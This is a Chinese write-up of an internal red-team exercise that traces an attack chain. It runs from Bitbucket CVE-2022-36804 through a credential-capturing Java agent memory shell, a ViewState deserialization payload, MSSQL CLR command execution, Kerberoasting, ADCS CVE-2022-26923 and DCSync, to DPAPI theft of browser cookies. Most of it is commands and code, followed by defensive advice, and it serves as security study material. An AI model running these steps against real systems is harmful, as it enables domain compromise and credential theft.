记一次团队内部的红蓝对抗-攻击篇
字数 1597 2025-08-25 22:58:56

红蓝对抗实战教学:从Bitbucket到域渗透的完整攻击链分析

1. 环境概述

1.1 目标网络拓扑

bitbucket 192.168.112.159 [7990]
web01 192.168.112.101 [80]
sql01 192.168.112.201 [1433]
adcs 192.168.112.230 [135,445,80]
dc01 192.168.112.100 [135,445,389,88]
dashe-pc 192.168.112.50 [445,135]

1.2 攻击路径

  1. Bitbucket (CVE-2022-36804) → JavaAgent内存马
  2. Web01 (.NET ViewState反序列化)
  3. SQL01 (MSSQL CLR提权)
  4. ADCS (CVE-2022-26923域提权)
  5. dashe-PC (DPAPI解密浏览器凭据)

2. Bitbucket初始入侵

2.1 CVE-2022-36804利用

漏洞描述:Bitbucket Server和Data Center的命令注入漏洞,允许经过身份验证的攻击者通过构造的HTTP请求执行任意命令。

利用步骤

  1. 使用base64编码绕过回显截断限制:
    echo "whoami" | base64
    
  2. 执行base64解码后的命令:
    echo "d2hvYW1p" | base64 -d | bash
    

2.2 JavaAgent内存马植入

技术选择:由于无法直接修改前端文件,选择从内存角度hook认证请求。

实施步骤

  1. 修改ZhouYu项目(https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed):

    • 调整hook函数列表以匹配Bitbucket认证流程
    • 修改插入的代码以捕获明文凭据
  2. 文件上传技巧:

    • 将8MB的agent-1.0-SNAPSHOT.jar文件base64编码后切片
    • 通过2000+个GET请求上传切片
    • 服务器端重组:
      sed ":a;N;s/\n//g;ta" /var/tmp/1.txt > /var/tmp/2.txt
      sed -i "s/*/+/g" /var/tmp/2.txt
      cat 2.txt | base64 -d > /tmp/agent-1.0-SNAPSHOT.jar
      
  3. 使用Attach工具注入Java进程:

    import com.sun.tools.attach.VirtualMachine;
    // ... 省略其他import
    public class Attach {
        public static void main(String[] args) throws Exception {
            VirtualMachine vm;
            List<VirtualMachineDescriptor> vmList;
            String agentFile = new File("/tmp/agent-1.0-SNAPSHOT.jar").getCanonicalPath();
            // ... 查找Bitbucket进程并注入
        }
    }
    

3. Web01横向移动

3.1 .NET ViewState反序列化

发现:从源码中获取web.config中的ViewState密钥:

<add connectionString="Server=192.168.112.201;Database=test;User ID=sa;Password=Fucksqlserver@2022" />

利用工具:ysoserial 1.35版本

生成payload

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c echo 123 > c:\inetpub\wwwroot\1.aspx" \
--path="/Account/login.aspx" --apppath="/" \
--decryptionalg="AES" \
--decryptionkey="9421E53E196BB56DB11B9C25197A2AD470638EFBC604AC74CD29DBBCF79D6046" \
--validationalg="SHA1" \
--validationkey="86B6275BA31D3D713E41388692FCA68F7D20269411345AA1C17A7386DACC9C46E7CE5F97F556F3CF0A07159659E2706B77731779D2DA4B53BC47BFFD4FD48A54"

绕过EDR:修改TypeConfuseDelegateGenerator.cs,将命令执行改为文件上传功能。

4. SQL Server提权

4.1 CLR提权技术

步骤

  1. 启用CLR:

    sp_configure 'clr enabled', 1
    RECONFIGURE
    ALTER DATABASE test SET TRUSTWORTHY ON;
    
  2. 编译恶意DLL:

    using System;
    using System.Data;
    using System.Data.SqlClient;
    // ... 省略其他using
    public partial class StoredProcedures {
        [Microsoft.SqlServer.Server.SqlProcedure]
        public static void ExecCommand (string cmd) {
            SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
        }
        // ... 省略实现细节
    }
    

    编译命令:

    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library helloworld.cs
    
  3. 加载并执行:

    CREATE ASSEMBLY [MSSQL_ShellcodeLoader] AUTHORIZATION [dbo] FROM [0x...] WITH PERMISSION_SET = UNSAFE;
    CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [MSSQL_ShellcodeLoader].[StoredProcedures].[ExecCommand]
    exec ExecCommand "whoami"
    

4.2 Kerberoasting攻击

实现

  1. 修改SharpRoast项目为CLR兼容版本
  2. 加载必要依赖:
    CREATE ASSEMBLY [system.directoryservices] FROM 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.directoryservices.dll' WITH PERMISSION_SET = UNSAFE;
    CREATE ASSEMBLY [system.identitymodel] FROM 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.identitymodel.dll' WITH PERMISSION_SET = UNSAFE;
    
  3. 执行攻击获取SPN票据

破解票据

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt

5. ADCS域提权 (CVE-2022-26923)

5.1 漏洞利用步骤

  1. 创建恶意机器账户:

    certipy account create -dc-ip 192.168.112.100 -u "roast" -p "Sysadmin#2023" -user pwntest -dns dc01.test.local
    
  2. 申请DC证书:

    certipy req -u "pwntest$" -p "nVi3l2cMiXECZ0pP" -ca TEST-ADCS-CA -template Machine -target 192.168.112.230 -dc-ip 192.168.112.100
    
  3. 获取DC哈希:

    certipy auth -pfx dc01.pfx -dc-ip 192.168.112.100
    
  4. DCSync获取域管哈希:

    secretsdump.py 'test.local/dc01$@192.168.112.100' -hashes :d9c6c7a01ffc61f41d88ff7268b084d5
    

6. 浏览器凭据窃取

6.1 DPAPI解密技术

  1. 获取域备份密钥:

    SharpDPAPI.exe backupkey /server:dc01.test.local /file:key.pvk
    
  2. 本地解密Chrome数据:

    SharpChrome.exe logins /pvk:key.pvk
    
  3. 伪造MasterKey(当无法直接执行命令时):

    mimikatz # dpapi::masterkey /in:1e366a60-0518-4f7c-abdb-65eb5d35bdf5 /pvk:key.pvk
    dpapi::create /guid:{1e366a60-0518-4f7c-abdb-65eb5d35bdf5} /key:273d524993beaeced20b4a406a91a706deac9bb343d730d8c8da15dab500ab51b298545607602cd71a88d50c0abe87d6e6de44668b6176ef71e731a275a89117 /password:123456 /protected
    
  4. 导入Chrome Cookie:

    • 使用CookieEditor插件
    • 注意ProtonMail的多个相关域:
      account.proton.me
      account-api.proton.me
      mail.proton.me
      

7. 关键工具与资源

  1. JavaAgent内存马:https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed
  2. ViewState生成器:ysoserial 1.35
  3. CLR提权模板:自定义C#代码
  4. Kerberoasting工具:SharpRoast修改版
  5. ADCS利用工具:certipy
  6. DPAPI工具:SharpDPAPI、mimikatz
  7. 浏览器数据提取:HackBrowserData

8. 防御建议

  1. Bitbucket:

    • 及时修补CVE-2022-36804
    • 监控Java进程的Agent加载行为
  2. .NET应用:

    • 定期轮换ViewState密钥
    • 禁用不必要的序列化功能
  3. SQL Server:

    • 限制CLR使用
    • 监控异常存储过程创建
  4. AD环境:

    • 修补CVE-2022-26923
    • 监控异常证书申请
    • 实施Kerberoasting防护
  5. 终端防护:

    • 保护DPAPI主密钥
    • 监控浏览器数据导出行为
    • 实施MFA防御凭据重用
红蓝对抗实战教学:从Bitbucket到域渗透的完整攻击链分析 1. 环境概述 1.1 目标网络拓扑 1.2 攻击路径 Bitbucket (CVE-2022-36804) → JavaAgent内存马 Web01 (.NET ViewState反序列化) SQL01 (MSSQL CLR提权) ADCS (CVE-2022-26923域提权) dashe-PC (DPAPI解密浏览器凭据) 2. Bitbucket初始入侵 2.1 CVE-2022-36804利用 漏洞描述 :Bitbucket Server和Data Center的命令注入漏洞,允许经过身份验证的攻击者通过构造的HTTP请求执行任意命令。 利用步骤 : 使用base64编码绕过回显截断限制: 执行base64解码后的命令: 2.2 JavaAgent内存马植入 技术选择 :由于无法直接修改前端文件,选择从内存角度hook认证请求。 实施步骤 : 修改ZhouYu项目(https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed): 调整hook函数列表以匹配Bitbucket认证流程 修改插入的代码以捕获明文凭据 文件上传技巧: 将8MB的agent-1.0-SNAPSHOT.jar文件base64编码后切片 通过2000+个GET请求上传切片 服务器端重组: 使用Attach工具注入Java进程: 3. Web01横向移动 3.1 .NET ViewState反序列化 发现 :从源码中获取web.config中的ViewState密钥: 利用工具 :ysoserial 1.35版本 生成payload : 绕过EDR :修改TypeConfuseDelegateGenerator.cs,将命令执行改为文件上传功能。 4. SQL Server提权 4.1 CLR提权技术 步骤 : 启用CLR: 编译恶意DLL: 编译命令: 加载并执行: 4.2 Kerberoasting攻击 实现 : 修改SharpRoast项目为CLR兼容版本 加载必要依赖: 执行攻击获取SPN票据 破解票据 : 5. ADCS域提权 (CVE-2022-26923) 5.1 漏洞利用步骤 创建恶意机器账户: 申请DC证书: 获取DC哈希: DCSync获取域管哈希: 6. 浏览器凭据窃取 6.1 DPAPI解密技术 获取域备份密钥: 本地解密Chrome数据: 伪造MasterKey(当无法直接执行命令时): 导入Chrome Cookie: 使用CookieEditor插件 注意ProtonMail的多个相关域: 7. 关键工具与资源 JavaAgent内存马:https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed ViewState生成器:ysoserial 1.35 CLR提权模板:自定义C#代码 Kerberoasting工具:SharpRoast修改版 ADCS利用工具:certipy DPAPI工具:SharpDPAPI、mimikatz 浏览器数据提取:HackBrowserData 8. 防御建议 Bitbucket: 及时修补CVE-2022-36804 监控Java进程的Agent加载行为 .NET应用: 定期轮换ViewState密钥 禁用不必要的序列化功能 SQL Server: 限制CLR使用 监控异常存储过程创建 AD环境: 修补CVE-2022-26923 监控异常证书申请 实施Kerberoasting防护 终端防护: 保护DPAPI主密钥 监控浏览器数据导出行为 实施MFA防御凭据重用